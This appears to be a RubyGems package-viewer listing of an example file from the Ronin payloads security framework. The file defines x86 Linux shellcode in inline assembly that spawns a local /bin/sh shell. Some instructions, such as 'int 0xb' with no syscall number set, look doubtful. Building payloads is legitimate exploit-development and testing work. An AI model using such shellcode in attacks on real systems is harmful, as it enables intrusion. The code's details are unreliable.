Sha256: d051e2f13335f01d5543e2905ca90a457c13dfa14f365130fd706b15b32c642d
Contents?: true
Size: 721 Bytes
Versions: 10
Compression:
Stored size: 721 Bytes
Contents
#!/usr/bin/env -S ronin-payloads build -f # frozen_string_literal: true require 'ronin/payloads/shellcode_payload' module Ronin module Payloads # # An example `execve()` `/bin/sh` shellcode payload. # class BinSh < ShellcodePayload register 'examples/bin_sh' description <<~DESC Shellcode that spawns a local /bin/sh shell DESC arch :x86 os :linux def build shellcode do xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov esp, ebx push eax push ebx mov esp, ecx xor edx, edx int 0xb end end end end end
Version data entries
10 entries across 10 versions & 1 rubygems